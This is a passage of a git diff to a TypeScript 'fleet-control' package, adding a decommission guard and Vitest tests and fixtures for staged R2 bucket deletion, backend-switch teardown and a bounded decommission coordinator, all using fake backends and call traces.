carrierConsumedMigrationDecommissionMatches( + spec: DeploymentSpec, + record: FleetRecord, +): boolean { + const intent = record.decommissionIntent; + const identity = intent?.identity; + const mode = identity?.mode; + if ( + record.phase !== 'decommission-advancing' || + !intent || + intent.state === 'complete' || + !identity || + mode?.kind !== 'normal' + ) { + return false; + } + return ( + mode.entryLifecyclePhase === 'migrating' && + mode.requestedSpecDigest === deploymentSpecDigest(spec) && + record.desiredSpecDigest === mode.requestedSpecDigest && + [ + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + 'platform-resources-deleted', + 'application-resources-deleting', + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + ].includes(intent.lifecyclePhase) && + record.migrationIntent === undefined && + record.pendingSpecDigest === undefined && + record.pendingArtifactVersion === undefined && + record.backendSwitchIntent === undefined && + identity.record.tenantTag === record.tenantTag && + identity.record.environment === record.environment && + identity.record.backend === record.backend && + identity.record.backend === 'workers-for-platforms' && + identity.record.scriptName === record.scriptName && + identity.record.databaseId === record.databaseId && + identity.record.databaseName === record.databaseName && + identity.record.routeHostname === record.routeHostname && + identity.record.tenantTag === spec.tenantTag && + identity.record.environment === spec.environment && + identity.record.scriptName === spec.scriptName && + identity.record.databaseName === spec.databaseName && + identity.record.routeHostname === spec.routeHostname + ); +} + export interface WorkersForPlatformsApi { listWorkerDatabaseAttachments(databaseId: string): Promise< readonly Readonly<{ @@ -1256,11 +1308,14 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { namespacedProfile, namespacedTarget, ); + const migrationIntentMatches = + record.migrationIntent !== undefined && + JSON.stringify(record.migrationIntent.target) === + JSON.stringify(namespacedTarget); if ( !inspected || - !record.migrationIntent || - JSON.stringify(record.migrationIntent.target) !== - JSON.stringify(namespacedTarget) + (!migrationIntentMatches && + !carrierConsumedMigrationDecommissionMatches(spec, record)) ) { throw new Error( `refusing to revoke credentials for drifted state Worker '${stateName}'`, diff --git a/packages/fleet-control/test/application-bindings.test.ts b/packages/fleet-control/test/application-bindings.test.ts index 545c6e5a..ab76324b 100644 --- a/packages/fleet-control/test/application-bindings.test.ts +++ b/packages/fleet-control/test/application-bindings.test.ts @@ -3,6 +3,7 @@ import { createHash } from 'node:crypto'; import { describe, expect, it } from 'vitest'; import { + advanceApplicationR2Deletion, applicationBindingTopology, applicationR2Bindings, applicationSecretValues, @@ -263,6 +264,7 @@ describe('application bindings', () => { 'created', ]); const deleted = await convergeApplicationR2Deletion({ + spec: deployment, resources: created, backend, fence, @@ -281,6 +283,453 @@ describe('application bindings', () => { 'deleted', ]), ); + + const twoBucketDeployment = spec({ + vars: [], + secrets: [], + r2Buckets: [{ name: 'A' }, { name: 'B' }], + }); + const reservations = reserveApplicationR2Resources(twoBucketDeployment); + const reservationA = reservations[0]; + const reservationB = reservations[1]; + if (!reservationA || !reservationB) { + throw new Error('two R2 reservations were not created'); + } + const creationDate = '2026-08-11T00:00:00.000Z'; + const createdB: ApplicationR2Resource = { + ...reservationB, + state: 'created', + creationDate, + }; + for (const [label, first, expectedFirstFinds] of [ + ['reserved', reservationA, 1], + ['deleted', { ...reservationA, state: 'deleted', creationDate }, 1], + [ + 'newly deleted', + { ...reservationA, state: 'delete-authorized', creationDate }, + 2, + ], + ] as const) { + const calls: string[] = []; + const liveBuckets = new Map( + [first, createdB] + .filter( + (candidate) => + candidate.state !== 'reserved' && candidate.state !== 'deleted', + ) + .map((candidate) => [ + candidate.bucketName, + { + name: candidate.name, + bucketName: candidate.bucketName, + jurisdiction: candidate.jurisdiction, + creationDate, + }, + ]), + ); + const traceFence = { + mutationLeaseTtlMs: 1_000, + assertOwned: async () => { + calls.push('fence'); + }, + }; + const traceBackend = { + async findApplicationR2Bucket(candidate: ApplicationR2Resource) { + expect(this).toBe(traceBackend); + calls.push(`find:${candidate.name}`); + return liveBuckets.get(candidate.bucketName); + }, + async assertApplicationR2Detached(candidate: ApplicationR2Resource) { + expect(this).toBe(traceBackend); + calls.push(`detach:${candidate.name}`); + }, + async assertApplicationR2Empty(candidate: ApplicationR2Resource) { + expect(this).toBe(traceBackend); + calls.push(`empty:${candidate.name}`); + }, + async deleteApplicationR2Bucket(candidate: ApplicationR2Resource) { + expect(this).toBe(traceBackend); + calls.push(`delete:${candidate.name}`); + liveBuckets.delete(candidate.bucketName); + }, + }; + const result = await convergeApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [first, createdB], + backend: traceBackend, + fence: traceFence, + persist: async () => {}, + }); + expect( + result.map(({ state }) => state), + label, + ).toEqual([ + first.state === 'reserved' ? 'reserved' : 'deleted', + 'deleted', + ]); + expect( + calls.filter((call) => call === 'find:A'), + `${label} prefix`, + ).toHaveLength(expectedFirstFinds); + expect( + calls.filter((call) => call === 'find:B'), + label, + ).toHaveLength(5); + expect( + calls.filter((call) => call === 'detach:B'), + label, + ).toHaveLength(1); + expect( + calls.filter((call) => call === 'empty:B'), + label, + ).toHaveLength(1); + expect( + calls.filter((call) => call === 'delete:B'), + label, + ).toHaveLength(1); + expect( + calls.filter((call) => call === 'fence'), + label, + ).toHaveLength(first.state === 'delete-authorized' ? 4 : 3); + } + + const stableReads: string[] = []; + const stableCalls: string[] = []; + const stableLive = new Map( + [reservationA, reservationB].map((candidate) => [ + candidate.bucketName, + { + name: candidate.name, + bucketName: candidate.bucketName, + jurisdiction: candidate.jurisdiction, + creationDate, + }, + ]), + ); + const stableBackend = {} as { + findApplicationR2Bucket?: (resource: ApplicationR2Resource) => Promise< + | { + name: string; + bucketName: string; + jurisdiction: ApplicationR2Resource['jurisdiction']; + creationDate: string; + } + | undefined + >; + assertApplicationR2Detached?: ( + resource: ApplicationR2Resource, + ) => Promise; + assertApplicationR2Empty?: ( + resource: ApplicationR2Resource, + ) => Promise; + deleteApplicationR2Bucket?: ( + resource: ApplicationR2Resource, + ) => Promise; + }; + Object.defineProperties(stableBackend, { + findApplicationR2Bucket: { + configurable: true, + get() { + stableReads.push('find'); + return async function ( + this: typeof stableBackend, + candidate: ApplicationR2Resource, + ) { + expect(this).toBe(stableBackend); + stableCalls.push(`find:${candidate.name}`); + return stableLive.get(candidate.bucketName); + }; + }, + }, + assertApplicationR2Detached: { + configurable: true, + get() { + stableReads.push('detach'); + return async function ( + this: typeof stableBackend, + candidate: ApplicationR2Resource, + mutationFence: typeof fence, + ) { + expect(this).toBe(stableBackend); + expect(mutationFence).toBe(fence); + stableCalls.push(`detach:${candidate.name}`); + }; + }, + }, + assertApplicationR2Empty: { + configurable: true, + get() { + stableReads.push('empty'); + return async function ( + this: typeof stableBackend, + candidate: ApplicationR2Resource, + mutationFence: typeof fence, + ) { + expect(this).toBe(stableBackend); + expect(mutationFence).toBe(fence); + stableCalls.push(`empty:${candidate.name}`); + }; + }, + }, + deleteApplicationR2Bucket: { + configurable: true, + get() { + stableReads.push('delete'); + return async function ( + this: typeof stableBackend, + candidate: ApplicationR2Resource, + mutationFence: typeof fence, + ) { + expect(this).toBe(stableBackend); + expect(mutationFence).toBe(fence); + stableCalls.push(`delete:${candidate.name}`); + stableLive.delete(candidate.bucketName); + }; + }, + }, + }); + const stableResult = await convergeApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [ + { ...reservationA, state: 'created', creationDate }, + { ...reservationB, state: 'created', creationDate }, + ], + backend: stableBackend, + fence, + persist: async () => {}, + }); + expect(stableReads).toEqual(['find', 'detach', 'empty', 'delete']); + expect(stableResult.map(({ state }) => state)).toEqual([ + 'deleted', + 'deleted', + ]); + for (const name of ['A', 'B']) { + expect( + stableCalls.filter((call) => call === `find:${name}`), + ).toHaveLength(5); + expect(stableCalls.filter((call) => call === `detach:${name}`)).toEqual([ + `detach:${name}`, + ]); + expect(stableCalls.filter((call) => call === `empty:${name}`)).toEqual([ + `empty:${name}`, + ]); + expect(stableCalls.filter((call) => call === `delete:${name}`)).toEqual([ + `delete:${name}`, + ]); + } + + const lifecycleMembers = [ + 'findApplicationR2Bucket', + 'assertApplicationR2Detached', + 'assertApplicationR2Empty', + 'deleteApplicationR2Bucket', + ] as const; + for (const noncallable of lifecycleMembers) { + const reads: string[] = []; + const calls: string[] = []; + const invalidBackend: Record = {}; + for (const property of lifecycleMembers) { + Object.defineProperty(invalidBackend, property, { + configurable: true, + get() { + reads.push(property); + return property === noncallable + ? {} + : async () => { + calls.push(property); + }; + }, + }); + } + let writes = 0; + await expect( + convergeApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [{ ...reservationA, state: 'created', creationDate }], + backend: invalidBackend as never, + fence, + persist: async () => { + writes += 1; + }, + }), + noncallable, + ).rejects.toThrow( + 'backend cannot safely delete application R2 resources', + ); + expect(reads, noncallable).toEqual(lifecycleMembers); + expect(calls, noncallable).toEqual([]); + expect(writes, noncallable).toBe(0); + } + + const detachAuthorized: ApplicationR2Resource = { + ...reservationB, + state: 'detach-authorized', + creationDate, + }; + const proofCalls: string[] = []; + const proofFence = { + mutationLeaseTtlMs: 1_000, + assertOwned: async () => { + proofCalls.push('fence'); + }, + }; + const proofBackend = {} as { + findApplicationR2Bucket?: ( + resource: ApplicationR2Resource, + ) => Promise; + assertApplicationR2Empty?: () => Promise; + deleteApplicationR2Bucket?: () => Promise; + }; + for (const property of [ + 'findApplicationR2Bucket', + 'assertApplicationR2Empty', + 'deleteApplicationR2Bucket', + ] as const) { + Object.defineProperty(proofBackend, property, { + configurable: true, + get() { + proofCalls.push(`get:${property}`); + throw new Error(`${property} must not be read`); + }, + }); + } + const proof = await advanceApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [detachAuthorized], + backend: proofBackend, + fence: proofFence, + verifiedDetachmentResourceIndex: 0, + }); + expect(proof).toMatchObject({ + status: 'resource-advanced', + resourceIndex: 0, + resources: [{ state: 'detached' }], + }); + expect(proofCalls).toEqual([]); + + const empty = await advanceApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [{ ...detachAuthorized, state: 'empty' }], + backend: proofBackend, + fence: proofFence, + }); + expect(empty).toMatchObject({ + status: 'resource-advanced', + resourceIndex: 0, + resources: [{ state: 'delete-authorized' }], + }); + expect(proofCalls).toEqual([]); + + const lazyReads: string[] = []; + const lazyCalls: string[] = []; + const lazyBackend = {} as { + findApplicationR2Bucket?: (resource: ApplicationR2Resource) => Promise< + | { + name: string; + bucketName: string; + jurisdiction: ApplicationR2Resource['jurisdiction']; + creationDate: string; + } + | undefined + >; + assertApplicationR2Empty?: ( + resource: ApplicationR2Resource, + ) => Promise; + deleteApplicationR2Bucket?: () => Promise; + }; + let lazyExists = true; + Object.defineProperties(lazyBackend, { + findApplicationR2Bucket: { + configurable: true, + get() { + lazyReads.push('find'); + return async function ( + this: typeof lazyBackend, + candidate: ApplicationR2Resource, + ) { + expect(this).toBe(lazyBackend); + lazyCalls.push('find'); + return lazyExists + ? { + name: candidate.name, + bucketName: candidate.bucketName, + jurisdiction: candidate.jurisdiction, + creationDate, + } + : undefined; + }; + }, + }, + assertApplicationR2Empty: { + configurable: true, + get() { + lazyReads.push('empty'); + return async function (this: typeof lazyBackend) { + expect(this).toBe(lazyBackend); + lazyCalls.push('empty'); + }; + }, + }, + deleteApplicationR2Bucket: { + configurable: true, + get() { + lazyReads.push('delete'); + return async function (this: typeof lazyBackend) { + expect(this).toBe(lazyBackend); + lazyCalls.push('delete'); + lazyExists = false; + }; + }, + }, + }); + const emptied = await advanceApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [{ ...detachAuthorized, state: 'empty-authorized' }], + backend: lazyBackend, + fence: proofFence, + }); + expect(emptied).toMatchObject({ + status: 'resource-advanced', + resources: [{ state: 'empty' }], + }); + expect(lazyReads).toEqual(['find', 'empty']); + expect(lazyCalls).toEqual(['find', 'empty']); + expect(proofCalls).toEqual(['fence']); + + lazyReads.length = 0; + lazyCalls.length = 0; + proofCalls.length = 0; + const removed = await advanceApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [{ ...detachAuthorized, state: 'delete-authorized' }], + backend: lazyBackend, + fence: proofFence, + }); + expect(removed).toMatchObject({ + status: 'resource-advanced', + resources: [{ state: 'deleted' }], + }); + expect(lazyReads).toEqual(['find', 'delete']); + expect(lazyCalls).toEqual(['find', 'delete', 'find']); + expect(proofCalls).toEqual(['fence']); + await expect( + advanceApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [detachAuthorized], + backend: {}, + fence: proofFence, + verifiedDetachmentResourceIndex: 1, + }), + ).rejects.toThrow('application R2 detachment proof is invalid'); + await expect( + advanceApplicationR2Deletion({ + spec: twoBucketDeployment, + resources: [detachAuthorized], + backend: {}, + fence: proofFence, + startResourceIndex: 2, + }), + ).rejects.toThrow('application R2 deletion start index is invalid'); }); it('preflights R2 identity and emptiness without authorizing deletion', async () => { @@ -304,13 +753,17 @@ describe('application bindings', () => { }, }; const backend = { - findApplicationR2Bucket: async () => ({ - name: resource.name, - bucketName: resource.bucketName, - jurisdiction: resource.jurisdiction, - creationDate: resource.creationDate as string, - }), - assertApplicationR2Empty: async () => { + async findApplicationR2Bucket() { + expect(this).toBe(backend); + return { + name: resource.name, + bucketName: resource.bucketName, + jurisdiction: resource.jurisdiction, + creationDate: resource.creationDate as string, + }; + }, + async assertApplicationR2Empty() { + expect(this).toBe(backend); calls.push('empty'); throw new Error(`R2 bucket '${resource.bucketName}' is not empty`); }, @@ -327,6 +780,46 @@ describe('application bindings', () => { }), ).rejects.toThrow(/not empty/u); expect(calls).toEqual(['fence', 'empty']); + + const deleted = { ...resource, state: 'deleted' as const }; + const inspectionCalls: string[] = []; + const inspectionOnlyBackend = { + async findApplicationR2Bucket(candidate: ApplicationR2Resource) { + expect(this).toBe(inspectionOnlyBackend); + inspectionCalls.push(candidate.state); + return undefined; + }, + }; + await expect( + assertApplicationR2EmptyBeforeDecommission({ + resources: [deleted], + backend: inspectionOnlyBackend, + fence, + }), + ).resolves.toBeUndefined(); + await expect( + assertApplicationR2EmptyBeforeDecommission({ + resources: [reserved], + backend: inspectionOnlyBackend, + fence, + }), + ).resolves.toBeUndefined(); + expect(inspectionCalls).toEqual(['deleted', 'reserved']); + + await expect( + assertApplicationR2EmptyBeforeDecommission({ + resources: [reserved], + backend: { + findApplicationR2Bucket: async () => ({ + name: reserved.name, + bucketName: reserved.bucketName, + jurisdiction: reserved.jurisdiction, + creationDate: '2026-08-11T00:00:00.000Z', + }), + }, + fence, + }), + ).rejects.toThrow(/refusing to decommission unauthorized R2 bucket/u); }); it('never adopts a bucket from a reservation that lacks create authorization', async () => { diff --git a/packages/fleet-control/test/backend-switch.test.ts b/packages/fleet-control/test/backend-switch.test.ts index d6ae2c75..c20dce57 100644 --- a/packages/fleet-control/test/backend-switch.test.ts +++ b/packages/fleet-control/test/backend-switch.test.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it } from 'vitest'; +import { reserveApplicationR2Resources } from '../src/application-bindings.js'; import { type BackendSwitchIntent, type BackendSwitchProvider, @@ -61,6 +62,23 @@ function spec(authoredBy: 'platform' | 'external'): DeploymentSpec { const priorSpec = spec('platform'); const targetSpec = spec('external'); + +function switchApplicationR2Resource( + name: string, + jurisdiction: ApplicationR2Resource['jurisdiction'], + creationDate: string, +): ApplicationR2Resource { + const [reserved] = reserveApplicationR2Resources({ + ...targetSpec, + application: { + vars: [], + secrets: [], + r2Buckets: [{ name, jurisdiction }], + }, + }); + if (!reserved) throw new Error('missing reserved application R2 resource'); + return { ...reserved, state: 'created', creationDate }; +} const target: ExternalPlatformTargetDescription = { maintenanceCapabilityPublicKey: '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}', @@ -1598,22 +1616,12 @@ describe('backend switch state machine', () => { it('persists per-bucket R2 teardown across attachments, contents, partial progress, and a lost delete response', async () => { const resources: readonly ApplicationR2Resource[] = [ - { - name: 'ARCHIVE', - bucketName: 'acme-archive', - jurisdiction: 'eu', - state: 'created', - reservationNonce: 'nonce-archive', - creationDate: '2026-08-11T00:00:01.000Z', - }, - { - name: 'FILES', - bucketName: 'acme-files', - jurisdiction: 'default', - state: 'created', - reservationNonce: 'nonce-files', - creationDate: '2026-08-11T00:00:00.000Z', - }, + switchApplicationR2Resource('ARCHIVE', 'eu', '2026-08-11T00:00:01.000Z'), + switchApplicationR2Resource( + 'FILES', + 'default', + '2026-08-11T00:00:00.000Z', + ), ]; const application = { vars: [], @@ -1691,14 +1699,11 @@ describe('backend switch state machine', () => { }); it('leaves backend-switch traffic and durable state unchanged when R2 evacuation fails', async () => { - const resource: ApplicationR2Resource = { - name: 'FILES', - bucketName: 'acme-files', - jurisdiction: 'default', - state: 'created', - reservationNonce: 'nonce-files', - creationDate: '2026-08-11T00:00:00.000Z', - }; + const resource = switchApplicationR2Resource( + 'FILES', + 'default', + '2026-08-11T00:00:00.000Z', + ); const store = new MemorySwitchStore(); const provider = new FakeSwitchProvider(); provider.r2Buckets.set(resource.bucketName, resource); @@ -1729,14 +1734,11 @@ describe('backend switch state machine', () => { }); it('preserves the traffic-removed switch when R2 receives a late write and resumes after direct evacuation', async () => { - const resource: ApplicationR2Resource = { - name: 'FILES', - bucketName: 'acme-files', - jurisdiction: 'default', - state: 'created', - reservationNonce: 'nonce-files', - creationDate: '2026-08-11T00:00:00.000Z', - }; + const resource = switchApplicationR2Resource( + 'FILES', + 'default', + '2026-08-11T00:00:00.000Z', + ); const store = new MemorySwitchStore(); const provider = new FakeSwitchProvider(); provider.r2Buckets.set(resource.bucketName, resource); diff --git a/packages/fleet-control/test/decommission-intent.test.ts b/packages/fleet-control/test/decommission-intent.test.ts index 76e618d7..8ff626be 100644 --- a/packages/fleet-control/test/decommission-intent.test.ts +++ b/packages/fleet-control/test/decommission-intent.test.ts @@ -2,6 +2,12 @@ import { describe, expect, it, vi } from 'vitest'; import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; +import type { + AdvanceDecommissionDeploymentOptions, + DecommissionAdvanceAction, + DecommissionAdvanceCapability, + DecommissionAdvanceResult, +} from '../src/decommission-advance.js'; import { classifyDecommissionAdvanceToken, DecommissionAdvanceIntentError, @@ -837,6 +843,27 @@ describe('decommission advance intent', () => { revision: 3, }; expect(parseDecommissionAdvanceToken(valid)).toEqual(valid); + const actions: readonly DecommissionAdvanceAction[] = [ + { kind: 'start' }, + { kind: 'continue', token: valid }, + { kind: 'restart-blocked', token: valid }, + ]; + const capabilities: readonly DecommissionAdvanceCapability[] = [ + 'attachment-scan', + 'database-residuals', + 'application-r2-inspection', + 'application-r2-empty', + 'application-r2-delete', + ]; + const result: DecommissionAdvanceResult = { + status: 'pending', + token: valid, + }; + type AdvanceAction = AdvanceDecommissionDeploymentOptions['action']; + const action: AdvanceAction = actions[0] as DecommissionAdvanceAction; + expect({ actions, capabilities, result, action }).toMatchObject({ + result: { status: 'pending', token: valid }, + }); const tokenAtSerializedBytes = (byteLength: number) => { const current = new TextEncoder().encode( JSON.stringify(valid), diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 0e87dd4a..5f89f354 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -1,23 +1,35 @@ // SPDX-License-Identifier: Apache-2.0 /// +import { + applicationBindingTopology, + reserveApplicationR2Resources, +} from '../../src/application-bindings.js'; import { D1CloudflareApiRateCoordinator } from '../../src/cloudflare-rate-coordinator.js'; import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; +import { advanceDecommissionDeployment } from '../../src/decommission-advance.js'; import { canonicalDeploymentEgressPolicy, externalEgressProxyScriptName, externalStateScriptName, } from '../../src/platform-resources.js'; +import { deploymentSpecDigest } from '../../src/spec-digest.js'; import { ADDED_NULLABLE_TEXT_COLUMNS, D1FleetStateStore, type FleetStateDatabase, } from '../../src/state-store.js'; import type { + ApplicationR2BucketSnapshot, + ApplicationR2Resource, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, + DeploymentSpec, FleetRecord, FleetStateLease, PlatformPlaneLease, PlatformPlaneResourceSet, + ProvisioningBackend, } from '../../src/types.js'; import { decommissionAdvancingRecordFixture } from './decommission-intent-fixture.js'; @@ -119,6 +131,294 @@ function decommissionRecord(tenantTag: string, revision: number): FleetRecord { }); } +const DECOMMISSION_SCAN_EVIDENCE = 'b'.repeat(64); +const DECOMMISSION_SCAN_EVIDENCE_COUNT = 2; +const DECOMMISSION_CREATED_AT = '2026-08-30T00:00:00.000Z'; + +function boundedDecommissionSpec(tenantTag: string): DeploymentSpec { + return { + tenantTag, + environment: 'production', + scriptName: `${tenantTag}-worker`, + databaseName: `${tenantTag}-database`, + compatibilityDate: '2026-08-30', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + authoredBy: 'platform', + schemaVersion: 1, + migrations: [{ version: 1, sql: 'CREATE TABLE example (id TEXT)' }], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: `https://${tenantTag}-control.example.test`, + routeHostname: `${tenantTag}.example.test`, + application: { + vars: [], + secrets: [], + r2Buckets: [{ name: 'FILES' }], + }, + }; +} + +function boundedDecommissionRecord( + spec: DeploymentSpec, +): Readonly<{ record: FleetRecord; resource: ApplicationR2Resource }> { + const reserved = reserveApplicationR2Resources(spec)[0]; + if (!reserved) throw new Error('bounded decommission R2 reservation missing'); + const resource: ApplicationR2Resource = { + ...reserved, + state: 'created', + creationDate: DECOMMISSION_CREATED_AT, + }; + return { + resource, + record: { + tenantTag: spec.tenantTag, + environment: spec.environment, + backend: 'plain-worker', + scriptName: spec.scriptName, + databaseId: `${spec.tenantTag}-database-id`, + databaseName: spec.databaseName, + schemaVersion: spec.schemaVersion, + artifactVersion: `${spec.tenantTag}-artifact-v1`, + desiredSpecDigest: deploymentSpecDigest(spec), + applicationResources: [resource], + applicationBindings: applicationBindingTopology(spec, [resource]), + durableObjectBindings: [], + routeHostname: spec.routeHostname, + phase: 'application-resources-deleting', + updatedAt: '2026-08-29T00:00:00.000Z', + }, + }; +} + +class BoundedDecommissionBackend implements ProvisioningBackend { + readonly kind = 'plain-worker' as const; + readonly events: string[] = []; + #bucketExists: boolean; + + constructor( + readonly resource: ApplicationR2Resource, + bucketExists: boolean, + readonly scanPass: string | undefined, + ) { + this.#bucketExists = bucketExists; + } + + async advanceDecommissionAttachmentScan( + _input: DecommissionAttachmentScanInput, + ): Promise { + this.events.push(`scan:${this.scanPass ?? 'unexpected'}`); + return { + status: 'complete', + evidenceSha256: DECOMMISSION_SCAN_EVIDENCE, + evidenceCount: DECOMMISSION_SCAN_EVIDENCE_COUNT, + providerFetchAttemptsReserved: 6, + }; + } + + async findApplicationR2Bucket(): Promise< + ApplicationR2BucketSnapshot | undefined + > { + this.events.push('r2-find'); + return this.#bucketExists + ? { + name: this.resource.name, + bucketName: this.resource.bucketName, + jurisdiction: this.resource.jurisdiction, + creationDate: this.resource.creationDate as string, + } + : undefined; + } + + async assertApplicationR2Empty(): Promise { + this.events.push('r2-empty'); + } + + async deleteApplicationR2Bucket(): Promise { + this.events.push('r2-delete'); + this.#bucketExists = false; + } + + async assertApplicationR2Detached(): Promise { + throw new Error('bounded coordinator called legacy R2 attachment listing'); + } + + async assertDatabaseDeletionResidualsRemoved(): Promise { + throw new Error('bounded coordinator crossed the inert D1 boundary'); + } + + async findDatabase(): Promise { + throw new Error('bounded coordinator unexpectedly found D1'); + } + + async getDatabase(): Promise { + throw new Error('bounded coordinator unexpectedly read D1'); + } + + async ensureDatabase(): Promise { + throw new Error('bounded coordinator unexpectedly created D1'); + } + + async seedDeploymentIdentity(): Promise { + throw new Error('bounded coordinator unexpectedly seeded D1'); + } + + async readDeploymentIdentity(): Promise { + throw new Error('bounded coordinator unexpectedly read D1 ownership'); + } + + async applyMigrations(): Promise { + throw new Error('bounded coordinator unexpectedly migrated D1'); + } + + async deployWorker(): Promise { + throw new Error('bounded coordinator unexpectedly deployed a Worker'); + } + + async promoteWorker(): Promise { + throw new Error('bounded coordinator unexpectedly promoted a Worker'); + } + + async ensureMaintenance(): Promise { + throw new Error('bounded coordinator unexpectedly armed maintenance'); + } + + async inspect(): Promise { + throw new Error('bounded coordinator unexpectedly inspected a Worker'); + } + + async attestActiveRoute(): Promise { + throw new Error('bounded coordinator unexpectedly attested a route'); + } + + async removeTraffic(): Promise { + throw new Error('bounded coordinator unexpectedly removed traffic'); + } + + async assertTrafficRemoved(): Promise { + throw new Error('bounded coordinator unexpectedly attested traffic'); + } + + async revokeCredentials(): Promise { + throw new Error('bounded coordinator unexpectedly revoked credentials'); + } + + async deleteWorker(): Promise { + throw new Error('bounded coordinator unexpectedly deleted a Worker'); + } + + async assertDatabaseDetached(): Promise { + throw new Error('bounded coordinator called legacy D1 attachment listing'); + } + + async exportDatabase(): Promise { + throw new Error('bounded coordinator unexpectedly exported D1'); + } + + async deleteDatabase(): Promise { + throw new Error('bounded coordinator unexpectedly deleted D1'); + } +} + +interface BoundedDecommissionStepInput { + readonly tenantTag: 'advance' | 'advancelost'; + readonly operation: Readonly< + { kind: 'start' } | { kind: 'continue'; token: unknown } + >; + readonly loseWrite?: boolean; +} + +async function boundedDecommissionStep( + db: D1Database, + input: BoundedDecommissionStepInput, +): Promise { + const spec = boundedDecommissionSpec(input.tenantTag); + const seedStore = new D1FleetStateStore(new D1FleetStateDatabase(db), { + accountId: 'account-primary', + }); + let current = await seedStore.get(spec.tenantTag, spec.environment); + if (!current) { + const seeded = boundedDecommissionRecord(spec).record; + await seedStore.withDeploymentLease( + seeded.tenantTag, + seeded.environment, + (lease) => lease.put(seeded), + ); + current = seeded; + } + + const delegate = new D1FleetStateDatabase(db); + let lostWriteCount = 0; + const database: FleetStateDatabase = input.loseWrite + ? { + query: (sql, bindings) => delegate.query(sql, bindings), + execute: (sql, bindings) => delegate.execute(sql, bindings), + async batch(statements) { + const result = await delegate.batch(statements); + if (lostWriteCount === 0) { + lostWriteCount += 1; + throw new Error('bounded coordinator write response lost'); + } + return result; + }, + } + : delegate; + const store = new D1FleetStateStore(database, { + accountId: 'account-primary', + }); + const resource = current.applicationResources?.[0]; + if (!resource) throw new Error('bounded decommission resource missing'); + const backend = new BoundedDecommissionBackend( + resource, + resource.state !== 'deleted', + current.decommissionIntent?.state, + ); + const result = await advanceDecommissionDeployment({ + backend, + store, + spec, + action: input.operation, + maxProviderRequests: 12, + clock: () => Date.parse('2026-08-30T00:00:00.000Z'), + randomUUID: () => + input.tenantTag === 'advance' + ? '00000000-0000-4000-8000-000000000101' + : '00000000-0000-4000-8000-000000000102', + }); + const stored = await store.get(spec.tenantTag, spec.environment); + const claims = await db + .prepare( + `SELECT resource_type, resource_name, resource_role + FROM ${PLATFORM_CLAIM_TABLE} + WHERE resource_set_key = ? + ORDER BY resource_type, resource_name, resource_role`, + ) + .bind(`deployment:${spec.tenantTag}:${spec.environment}`) + .all<{ + resource_type: string; + resource_name: string; + resource_role: string; + }>(); + return { + result, + trace: backend.events, + phase: stored?.phase, + lifecyclePhase: stored?.decommissionIntent?.lifecyclePhase, + intentState: stored?.decommissionIntent?.state, + revision: stored?.decommissionIntent?.revision, + generation: stored?.decommissionIntent?.generation, + resourceStates: + stored?.applicationResources?.map(({ state }) => state) ?? [], + bucketName: resource.bucketName, + lostWriteCount, + claims: claims.results.map((claim) => ({ + resourceType: claim.resource_type, + resourceName: claim.resource_name, + resourceRole: claim.resource_role, + })), + }; +} + function errorShape(error: unknown): unknown { if (error instanceof AggregateError) { return { @@ -1202,7 +1502,10 @@ export default { if (request.method !== 'POST' || url.pathname !== '/fleet-state') { return new Response('not found', { status: 404 }); } - const body = (await request.json()) as { action?: unknown }; + const body = (await request.json()) as { + action?: unknown; + input?: unknown; + }; try { switch (body.action) { case 'concurrent-acquisition': @@ -1233,6 +1536,13 @@ export default { return Response.json(await decommissionIntentColumnUpgrade(env.DB)); case 'decommission-intent-lost-response': return Response.json(await decommissionIntentLostResponse(env.DB)); + case 'bounded-decommission-step': + return Response.json( + await boundedDecommissionStep( + env.DB, + body.input as BoundedDecommissionStepInput, + ), + ); case 'lifecycle-errors': return Response.json(await lifecycleErrors(env.DB)); case 'cloudflare-rate-coordination': diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 9adf62e6..5a17220e 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -11,6 +11,14 @@ import type { BridgeSnapshot, FinalizedOrdinaryStateProvider, } from '../src/backend-switch.js'; +import { + type AdvanceDecommissionDeploymentOptions, + advanceDecommissionDeployment, + DecommissionAdvanceCapabilityError, + DecommissionAdvanceRestartError, + type DecommissionAdvanceResult, +} from '../src/decommission-advance.js'; +import { normalizeDecommissionAdvanceIntent } from '../src/decommission-intent.js'; import { migrateFleet, rollbackExternalRelease } from '../src/fleet.js'; import { canonicalDeploymentEgressPolicy, @@ -36,6 +44,8 @@ import type { ApplicationR2BucketSnapshot, ApplicationR2Resource, DatabaseReference, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, DeploymentSecrets, DeploymentSpec, ExternalMutationFence, @@ -130,6 +140,10 @@ class MemoryStore implements FleetStateStore { leaseCalls = 0; readonly phases: string[] = []; failPutPhase: string | undefined; + failPutApplicationState: + | Readonly<{ name: string; state: ApplicationR2Resource['state'] }> + | undefined; + assertOwnedFailure: unknown; async withDeploymentLease( tenantTag: string, @@ -144,7 +158,11 @@ class MemoryStore implements FleetStateStore { tenantTag, environment, 